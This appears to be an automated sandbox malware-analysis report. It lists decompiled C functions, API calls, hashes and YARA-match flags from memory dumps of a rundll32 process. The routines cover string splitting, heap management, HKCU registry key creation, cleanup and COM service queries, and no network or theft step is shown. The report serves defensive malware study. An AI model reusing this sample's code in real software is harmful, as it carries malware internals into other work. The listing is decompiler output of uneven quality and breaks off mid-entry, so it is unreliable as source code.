                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AllocateHeaplstrlen
                                            • String ID:
                                            • API String ID: 556738718-0
                                            • Opcode ID: 010cf2e248c840c340e01259e75e1fb7e5965071ae7676fabe9f983472c4ab51
                                            • Instruction ID: 6a2d4f46cbfc6e80ff9f1bf411da6a3b474d02564d7f9997b19027d52671fa3a
                                            • Opcode Fuzzy Hash: 010cf2e248c840c340e01259e75e1fb7e5965071ae7676fabe9f983472c4ab51
                                            • Instruction Fuzzy Hash: E0215376600209AFDB119F68C8847DE7FB9EF89314F148151EC449B316D775E915CBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB4117 Relevance: 4.6, APIs: 3, Instructions: 58COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 47%
                                            			E04AB4117(char* _a4, char** _a8) {
				char* _t7;
				char* _t11;
				char* _t14;
				char* _t16;
				char* _t17;
				char _t18;
				signed int _t20;
				signed int _t22;

				_t16 = _a4;
				_push(0x20);
				_t20 = 1;
				_push(_t16);
				while(1) {
					_t7 = StrChrA();
					if(_t7 == 0) {
						break;
					}
					_t20 = _t20 + 1;
					_push(0x20);
					_push( &(_t7[1]));
				}
				_t11 = E04AB4DF6(_t20 << 2);
				_a4 = _t11;
				if(_t11 != 0) {
					StrTrimA(_t16, 0x4ab9284); // executed
					_t22 = 0;
					do {
						_t14 = StrChrA(_t16, 0x20);
						if(_t14 != 0) {
							 *_t14 = 0;
							do {
								_t14 =  &(_t14[1]);
								_t18 =  *_t14;
							} while (_t18 == 0x20 || _t18 == 9);
						}
						_t17 = _a4;
						 *(_t17 + _t22 * 4) = _t16;
						_t22 = _t22 + 1;
						_t16 = _t14;
					} while (_t14 != 0);
					 *_a8 = _t17;
				}
				return 0;
			}











                                            0x04ab411b
                                            0x04ab4128
                                            0x04ab412a
                                            0x04ab412b
                                            0x04ab4133
                                            0x04ab4133
                                            0x04ab4137
                                            0x00000000
                                            0x00000000
                                            0x04ab412e
                                            0x04ab412f
                                            0x04ab4132
                                            0x04ab4132
                                            0x04ab413f
                                            0x04ab4144
                                            0x04ab4149
                                            0x04ab4151
                                            0x04ab4157
                                            0x04ab4159
                                            0x04ab415c
                                            0x04ab4160
                                            0x04ab4162
                                            0x04ab4165
                                            0x04ab4165
                                            0x04ab4166
                                            0x04ab4168
                                            0x04ab4165
                                            0x04ab4172
                                            0x04ab4175
                                            0x04ab4178
                                            0x04ab4179
                                            0x04ab417b
                                            0x04ab4182
                                            0x04ab4182
                                            0x04ab418e

                                            APIs
                                            • StrChrA.SHLWAPI(?,00000020,00000000,056295AC,?,?,04AB6940,?,056295AC), ref: 04AB4133
                                            • StrTrimA.SHLWAPI(?,04AB9284,00000002,?,04AB6940,?,056295AC), ref: 04AB4151
                                            • StrChrA.SHLWAPI(?,00000020,?,04AB6940,?,056295AC), ref: 04AB415C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Trim
                                            • String ID:
                                            • API String ID: 3043112668-0
                                            • Opcode ID: 456d85f465c1bd419b94b3f1b9b870620bda57b014d0eab4fe03d7077f5d26ee
                                            • Instruction ID: 9308d98c32404a3afd241d94a560e05ac575ebea2e18dbb5c2d3b5da6378e81b
                                            • Opcode Fuzzy Hash: 456d85f465c1bd419b94b3f1b9b870620bda57b014d0eab4fe03d7077f5d26ee
                                            • Instruction Fuzzy Hash: 4A015E71B013657FE7204E2AAC45BA77B9DEBE9750F041011AA95CB353D670E84286A0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEBAC0 Relevance: 4.5, APIs: 3, Instructions: 40registrystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegCreateKeyA.ADVAPI32(80000001,0637B7F0,?), ref: 05DEBAD5
                                            • RegOpenKeyA.ADVAPI32(80000001,0637B7F0,?), ref: 05DEBADF
                                            • lstrlen.KERNEL32(0637B7F0,00000000,00000000,05DF806E,?,?,?,05DD6B9D,00000001,00000000,?), ref: 05DEBAFE
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateOpenlstrlen
                                            • String ID:
                                            • API String ID: 2865187142-0
                                            • Opcode ID: fa75011b39b335c67cf93e1e78dcba65b2c37e9cc8d9776f91375693b7288684
                                            • Instruction ID: 0a4818f3d4b497f7dd695acfc4c8e7d12eaeae1b62aef428e1aee1c1bf0b026e
                                            • Opcode Fuzzy Hash: fa75011b39b335c67cf93e1e78dcba65b2c37e9cc8d9776f91375693b7288684
                                            • Instruction Fuzzy Hash: 40F09672100208BFEB11AF94DC8AEAB7F6CEB457A5F108007FD0696240D670E980C771
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE3EC0 Relevance: 4.5, APIs: 3, Instructions: 18memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SetEvent.KERNEL32(000005B0,05DE9D32), ref: 05DE3ECA
                                              • Part of subcall function 05DD44CE: SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,05DE3ED5), ref: 05DD44F7
                                              • Part of subcall function 05DD44CE: RtlDeleteCriticalSection.NTDLL(05DF9400), ref: 05DD452A
                                              • Part of subcall function 05DD44CE: RtlDeleteCriticalSection.NTDLL(05DF9420), ref: 05DD4531
                                              • Part of subcall function 05DD44CE: ReleaseMutex.KERNEL32(0000059C,00000000,?,?,?,05DE3ED5), ref: 05DD455A
                                              • Part of subcall function 05DD44CE: FindCloseChangeNotification.KERNEL32(?,?,05DE3ED5), ref: 05DD4566
                                              • Part of subcall function 05DD44CE: ResetEvent.KERNEL32(00000000,00000000,?,?,?,05DE3ED5), ref: 05DD4572
                                              • Part of subcall function 05DD44CE: CloseHandle.KERNEL32(?,?,05DE3ED5), ref: 05DD457E
                                              • Part of subcall function 05DD44CE: SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,05DE3ED5), ref: 05DD4584
                                              • Part of subcall function 05DD44CE: SleepEx.KERNEL32(00000064,00000001,?,?,05DE3ED5), ref: 05DD4598
                                              • Part of subcall function 05DD44CE: HeapFree.KERNEL32(00000000,00000000,?,?,05DE3ED5), ref: 05DD45BC
                                              • Part of subcall function 05DD44CE: RtlRemoveVectoredExceptionHandler.NTDLL(05BF05B8), ref: 05DD45F2
                                              • Part of subcall function 05DD44CE: SleepEx.KERNEL32(00000064,00000001,?,?,05DE3ED5), ref: 05DD460E
                                            • CloseHandle.KERNEL32(000005B0), ref: 05DE3EDF
                                            • HeapDestroy.KERNELBASE(05F80000), ref: 05DE3EEF
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Sleep$Close$CriticalDeleteEventHandleHeapSection$ChangeDestroyExceptionFindFreeHandlerMutexNotificationReleaseRemoveResetVectored
                                            • String ID:
                                            • API String ID: 3503058985-0
                                            • Opcode ID: 5d99d88a462fc74b47a1cbfb70d22cf065a69b591b17e78600b33a334c4f9b7b
                                            • Instruction ID: 53fc811ed7283e6f46aa82aedfc9e753e52b3a577c742b8d91f1b8d331e67e4e
                                            • Opcode Fuzzy Hash: 5d99d88a462fc74b47a1cbfb70d22cf065a69b591b17e78600b33a334c4f9b7b
                                            • Instruction Fuzzy Hash: CAE04C707252015BDF14AB79E89EF673BA8BA045413080966B406D7740EF65D4819720
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB55D3 Relevance: 3.8, APIs: 3, Instructions: 82COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB55D3(void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* _t24;
				intOrPtr _t27;
				void* _t35;
				signed int _t38;
				signed char* _t46;
				int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t53 = ( *_t46 & 0x000000ff) + 0x110;
				_v12 = 0x110;
				_t24 = E04AB4DF6(_t53);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0x4aba378, 0x110);
					_t27 =  *0x4aba37c; // 0x0
					_t57 = _t56 + 0xc;
					if(_t27 != 0) {
						_t51 = _a4;
						E04AB29B5(0x110, _a4, _a4, _t27, 0);
					}
					if(E04AB66A9( &_v36) != 0) {
						_t35 = E04AB3072(0x110, 0,  &_v36, _a4,  &_v20,  &_v12); // executed
						if(_t35 == 0) {
							_t55 = _v20;
							_v36 =  *_t46;
							_t38 = E04AB17E5(_t55, _a8, _t51, _t46, _a12); // executed
							_v16 = _t38;
							 *(_t55 + 4) = _v36;
							_t20 =  &(_t46[4]); // 0xbf0845c7
							memset(_t55, 0, _v12 - ( *_t20 & 0xf));
							_t57 = _t57 + 0xc;
							E04AB4C73(_t55);
						}
					}
					memset(_a4, 0, _t53);
					E04AB4C73(_a4);
				}
				return _v16;
			}
















                                            0x04ab55d9
                                            0x04ab55de
                                            0x04ab55eb
                                            0x04ab55ee
                                            0x04ab55f1
                                            0x04ab55f6
                                            0x04ab55fb
                                            0x04ab5609
                                            0x04ab560e
                                            0x04ab5613
                                            0x04ab5618
                                            0x04ab561a
                                            0x04ab5623
                                            0x04ab5623
                                            0x04ab5632
                                            0x04ab5647
                                            0x04ab564e
                                            0x04ab5655
                                            0x04ab565b
                                            0x04ab5661
                                            0x04ab5669
                                            0x04ab566f
                                            0x04ab5672
                                            0x04ab567f
                                            0x04ab5684
                                            0x04ab5688
                                            0x04ab5688
                                            0x04ab564e
                                            0x04ab5693
                                            0x04ab569e
                                            0x04ab569e
                                            0x04ab56aa

                                            APIs
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • memcpy.NTDLL(00000000,00000110,?,?,?,?,04AB6D90,?,04AB58B7,04AB58B7,?), ref: 04AB5609
                                            • memset.NTDLL ref: 04AB567F
                                            • memset.NTDLL ref: 04AB5693
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: memset$AllocateHeapmemcpy
                                            • String ID:
                                            • API String ID: 1529149438-0
                                            • Opcode ID: 1b960bd02a9fe6a9ab29d3be48acab4af8455490dbc50b78abe8edc7a2f7d5ab
                                            • Instruction ID: 58e6e20018eefeb6dad891a38aa85907021e47abe1a9225bcb20cb71bb0dfa87
                                            • Opcode Fuzzy Hash: 1b960bd02a9fe6a9ab29d3be48acab4af8455490dbc50b78abe8edc7a2f7d5ab
                                            • Instruction Fuzzy Hash: DA217FB5A00218BBEF01AFA5CD50FEEBBBCEF09644F044015F944A6252E734EA01CBE4
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB267F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 89%
                                            			E04AB267F(void* __eax, void* __ecx, intOrPtr* __esi, void* _a4) {
				char _v8;
				void* _t14;
				intOrPtr _t17;
				void* _t20;
				void* _t26;

				_push(__ecx);
				if(_a4 == 0 || __eax == 0) {
					_t26 = 0x57;
				} else {
					_t14 = E04AB215A(__eax,  &_a4, _a4,  &_a4,  &_v8); // executed
					_t26 = _t14;
					if(_t26 == 0) {
						_t17 =  *0x4aba348; // 0xb6d5a8
						_t9 = _t17 + 0x4abba38; // 0x444f4340
						_t20 = E04AB250D( *((intOrPtr*)(__esi + 4)),  *__esi, _t9, _a4, _v8, __esi + 8, __esi + 0xc); // executed
						_t26 = _t20;
						RtlFreeHeap( *0x4aba2d8, 0, _a4); // executed
					}
				}
				return _t26;
			}








                                            0x04ab2682
                                            0x04ab2688
                                            0x04ab26df
                                            0x04ab268e
                                            0x04ab2699
                                            0x04ab269e
                                            0x04ab26a2
                                            0x04ab26af
                                            0x04ab26b7
                                            0x04ab26c3
                                            0x04ab26cb
                                            0x04ab26d5
                                            0x04ab26d5
                                            0x04ab26a2
                                            0x04ab26e4

                                            APIs
                                              • Part of subcall function 04AB215A: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04AB2172
                                              • Part of subcall function 04AB250D: lstrlen.KERNEL32(76F1F710,?,00000000,?,76F1F710), ref: 04AB2541
                                              • Part of subcall function 04AB250D: StrStrA.SHLWAPI(00000000,?), ref: 04AB254E
                                              • Part of subcall function 04AB250D: RtlAllocateHeap.NTDLL(00000000,?), ref: 04AB256D
                                            • RtlFreeHeap.NTDLL(00000000,00000000,?,444F4340,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,04AB61F6), ref: 04AB26D5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Heap$Allocate$Freelstrlen
                                            • String ID: Uv
                                            • API String ID: 2220322926-4002285713
                                            • Opcode ID: c919942ed06976574e7974682af9721379c4fb58488d7e32dafeb4ded2934971
                                            • Instruction ID: a0f81f304ccf257467173f95946479838c32a1f3f5e95a2cdbf8ee0da4b26ef6
                                            • Opcode Fuzzy Hash: c919942ed06976574e7974682af9721379c4fb58488d7e32dafeb4ded2934971
                                            • Instruction Fuzzy Hash: 52014B77100208BBEB119F44DC14FDA77ADEB54380F108066FA8596161E731FA95DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB4C73 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 5memoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB4C73(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x4aba2d8, 0, _a4); // executed
				return _t2;
			}




                                            0x04ab4c7f
                                            0x04ab4c85

                                            APIs
                                            • RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: FreeHeap
                                            • String ID: Uv
                                            • API String ID: 3298025750-4002285713
                                            • Opcode ID: 344ee1f499c1cb75392431e3349f17ac6234ae2330c07823871e413507ef39f1
                                            • Instruction ID: ec822e4b0e2ad552c031023e5321c8ac925c730801dac235d1a2f8ae99a7d928
                                            • Opcode Fuzzy Hash: 344ee1f499c1cb75392431e3349f17ac6234ae2330c07823871e413507ef39f1
                                            • Instruction Fuzzy Hash: 9BB012B1200300ABDB114B00DE04F067A21E770700F004010B34404072C3360C32FB55
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB1162 Relevance: 3.1, APIs: 2, Instructions: 149serviceCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 38%
                                            			E04AB1162(intOrPtr _a4) {
				void* _v12;
				char _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				char _v32;
				intOrPtr _v40;
				void* _v46;
				short _v48;
				intOrPtr _t49;
				void* _t51;
				intOrPtr* _t53;
				intOrPtr _t56;
				void* _t58;
				intOrPtr* _t59;
				intOrPtr* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				short _t73;
				intOrPtr* _t74;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t82;
				char* _t98;
				intOrPtr _t100;
				void* _t106;
				void* _t108;
				intOrPtr _t112;

				_v48 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t49 =  *0x4aba348; // 0xb6d5a8
				_t4 = _t49 + 0x4abb450; // 0x56289f8
				_t82 = 0;
				_t5 = _t49 + 0x4abb440; // 0x9ba05972
				_t51 =  *0x4aba170(_t5, 0, 4, _t4,  &_v20); // executed
				_t106 = _t51;
				if(_t106 >= 0) {
					_t53 = _v20;
					_push( &_v12);
					_push(1);
					_push( &_v32);
					_push(8);
					_t98 =  &_v48;
					_push(_t98);
					_push(_t98);
					_push(_t53); // executed
					if( *((intOrPtr*)( *_t53 + 0x3c))() == 0) {
						_t56 =  *0x4aba348; // 0xb6d5a8
						_t30 = _t56 + 0x4abb430; // 0x56289d8
						_t31 = _t56 + 0x4abb460; // 0x4c96be40
						_t58 =  *0x4aba10c(_v12, _t31, _t30,  &_v24); // executed
						_t106 = _t58;
						_t59 = _v12;
						 *((intOrPtr*)( *_t59 + 8))(_t59);
						goto L11;
					} else {
						_t71 = _v20;
						_v16 = 0;
						_t106 =  *((intOrPtr*)( *_t71 + 0x1c))(_t71,  &_v16);
						if(_t106 >= 0) {
							_t112 = _v16;
							if(_t112 == 0) {
								_t106 = 0x80004005;
								goto L11;
							} else {
								if(_t112 <= 0) {
									L11:
									if(_t106 >= 0) {
										goto L12;
									}
								} else {
									do {
										_t73 = 3;
										_v48 = _t73;
										_t74 = _v20;
										_v40 = _t82;
										_t108 = _t108 - 0x10;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t106 =  *((intOrPtr*)( *_t74 + 0x20))(_t74,  &_v12);
										if(_t106 < 0) {
											goto L7;
										} else {
											_t77 =  *0x4aba348; // 0xb6d5a8
											_t23 = _t77 + 0x4abb430; // 0x56289d8
											_t24 = _t77 + 0x4abb460; // 0x4c96be40
											_t106 =  *0x4aba10c(_v12, _t24, _t23,  &_v24);
											_t80 = _v12;
											 *((intOrPtr*)( *_t80 + 8))(_t80);
											if(_t106 >= 0) {
												L12:
												_t63 = _v24;
												_t106 =  *((intOrPtr*)( *_t63 + 0x3c))(_t63,  &_v28);
												if(_t106 >= 0) {
													_t100 =  *0x4aba348; // 0xb6d5a8
													_t67 = _v28;
													_t40 = _t100 + 0x4abb420; // 0x214e3
													_t106 =  *((intOrPtr*)( *_t67))(_t67, _t40, _a4);
													_t69 = _v28;
													 *((intOrPtr*)( *_t69 + 8))(_t69);
												}
												_t65 = _v24;
												 *((intOrPtr*)( *_t65 + 8))(_t65);
											} else {
												goto L7;
											}
										}
										goto L15;
										L7:
										_t82 = _t82 + 1;
									} while (_t82 < _v16);
									goto L11;
								}
							}
						}
					}
					L15:
					_t61 = _v20;
					 *((intOrPtr*)( *_t61 + 8))(_t61);
				}
				return _t106;
			}


































                                            0x04ab116d
                                            0x04ab1174
                                            0x04ab1175
                                            0x04ab1176
                                            0x04ab1177
                                            0x04ab117d
                                            0x04ab1182
                                            0x04ab118b
                                            0x04ab118e
                                            0x04ab1195
                                            0x04ab119b
                                            0x04ab119f
                                            0x04ab11a5
                                            0x04ab11ad
                                            0x04ab11ae
                                            0x04ab11b3
                                            0x04ab11b4
                                            0x04ab11b6
                                            0x04ab11b9
                                            0x04ab11ba
                                            0x04ab11bb
                                            0x04ab11c1
                                            0x04ab1257
                                            0x04ab125c
                                            0x04ab1263
                                            0x04ab126d
                                            0x04ab1273
                                            0x04ab1275
                                            0x04ab127b
                                            0x00000000
                                            0x04ab11c7
                                            0x04ab11c7
                                            0x04ab11ce
                                            0x04ab11d7
                                            0x04ab11db
                                            0x04ab11e1
                                            0x04ab11e4
                                            0x04ab124c
                                            0x00000000
                                            0x04ab11e6
                                            0x04ab11e6
                                            0x04ab127e
                                            0x04ab1280
                                            0x00000000
                                            0x00000000
                                            0x04ab11ec
                                            0x04ab11ec
                                            0x04ab11ee
                                            0x04ab11f3
                                            0x04ab11f7
                                            0x04ab11fa
                                            0x04ab11ff
                                            0x04ab1207
                                            0x04ab1208
                                            0x04ab1209
                                            0x04ab120b
                                            0x04ab120f
                                            0x04ab1213
                                            0x00000000
                                            0x04ab1215
                                            0x04ab1219
                                            0x04ab121e
                                            0x04ab1225
                                            0x04ab1235
                                            0x04ab1237
                                            0x04ab123d
                                            0x04ab1242
                                            0x04ab1282
                                            0x04ab1282
                                            0x04ab128f
                                            0x04ab1293
                                            0x04ab1298
                                            0x04ab129e
                                            0x04ab12a3
                                            0x04ab12ad
                                            0x04ab12af
                                            0x04ab12b5
                                            0x04ab12b5
                                            0x04ab12b8
                                            0x04ab12be
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab1242
                                            0x00000000
                                            0x04ab1244
                                            0x04ab1244
                                            0x04ab1245
                                            0x00000000
                                            0x04ab124a
                                            0x04ab11e6
                                            0x04ab11e4
                                            0x04ab11db
                                            0x04ab12c1
                                            0x04ab12c1
                                            0x04ab12c7
                                            0x04ab12c7
                                            0x04ab12d0

                                            APIs
                                            • IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,056289D8,04AB3C2E,?,?,?,?,?,?,?,?,?,?,?,04AB3C2E), ref: 04AB122F
                                            • IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,056289D8,04AB3C2E,?,?,?,?,?,?,?,04AB3C2E,00000000,00000000,00000000,006D0063), ref: 04AB126D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: QueryServiceUnknown_
                                            • String ID:
                                            • API String ID: 2042360610-0
                                            • Opcode ID: 6e36bfdb798900f9009cf46d9b7119c4eea74a8211e8f5d6812cfe98aedac8f8
                                            • Instruction ID: 865ede914a90ffaa4555fe32c52b0a4978b898ef1619b606aef77846ff1eb2ae
                                            • Opcode Fuzzy Hash: 6e36bfdb798900f9009cf46d9b7119c4eea74a8211e8f5d6812cfe98aedac8f8
                                            • Instruction Fuzzy Hash: 69513275900219AFDB00DFE4C894DEEB7B8FF88744B048569EA45EB351D731AD45CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB69D2 Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 75%
                                            			E04AB69D2(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E04AB1000(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x4aba348; // 0xb6d5a8
						_t20 = _t68 + 0x4abb1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E04AB2898(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}





















                                            0x04ab69d8
                                            0x04ab69db
                                            0x04ab69eb
                                            0x04ab69f4
                                            0x04ab69f8
                                            0x04ab6ac6
                                            0x04ab6acc
                                            0x04ab6acc
                                            0x04ab6a12
                                            0x04ab6a17
                                            0x04ab6a1b
                                            0x04ab6a21
                                            0x04ab6a26
                                            0x04ab6a2d
                                            0x04ab6a3c
                                            0x04ab6a3c
                                            0x04ab6a40
                                            0x04ab6a42
                                            0x04ab6a4e
                                            0x04ab6a59
                                            0x04ab6a64
                                            0x04ab6a68
                                            0x04ab6a72
                                            0x04ab6a76
                                            0x04ab6a78
                                            0x04ab6a7d
                                            0x04ab6a84
                                            0x04ab6a94
                                            0x04ab6a94
                                            0x04ab6a7d
                                            0x04ab6a76
                                            0x04ab6a96
                                            0x04ab6a9b
                                            0x04ab6aa0
                                            0x04ab6aa0
                                            0x04ab6aa3
                                            0x04ab6aac
                                            0x04ab6ab1
                                            0x04ab6ab1
                                            0x04ab6ab6
                                            0x04ab6abb
                                            0x04ab6abb
                                            0x04ab6ab6
                                            0x04ab6a40
                                            0x04ab6abd
                                            0x04ab6ac3
                                            0x00000000

                                            APIs
                                              • Part of subcall function 04AB1000: SysAllocString.OLEAUT32(80000002), ref: 04AB105D
                                              • Part of subcall function 04AB1000: SysFreeString.OLEAUT32(00000000), ref: 04AB10C3
                                            • SysFreeString.OLEAUT32(?), ref: 04AB6AB1
                                            • SysFreeString.OLEAUT32(04AB6ECE), ref: 04AB6ABB
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
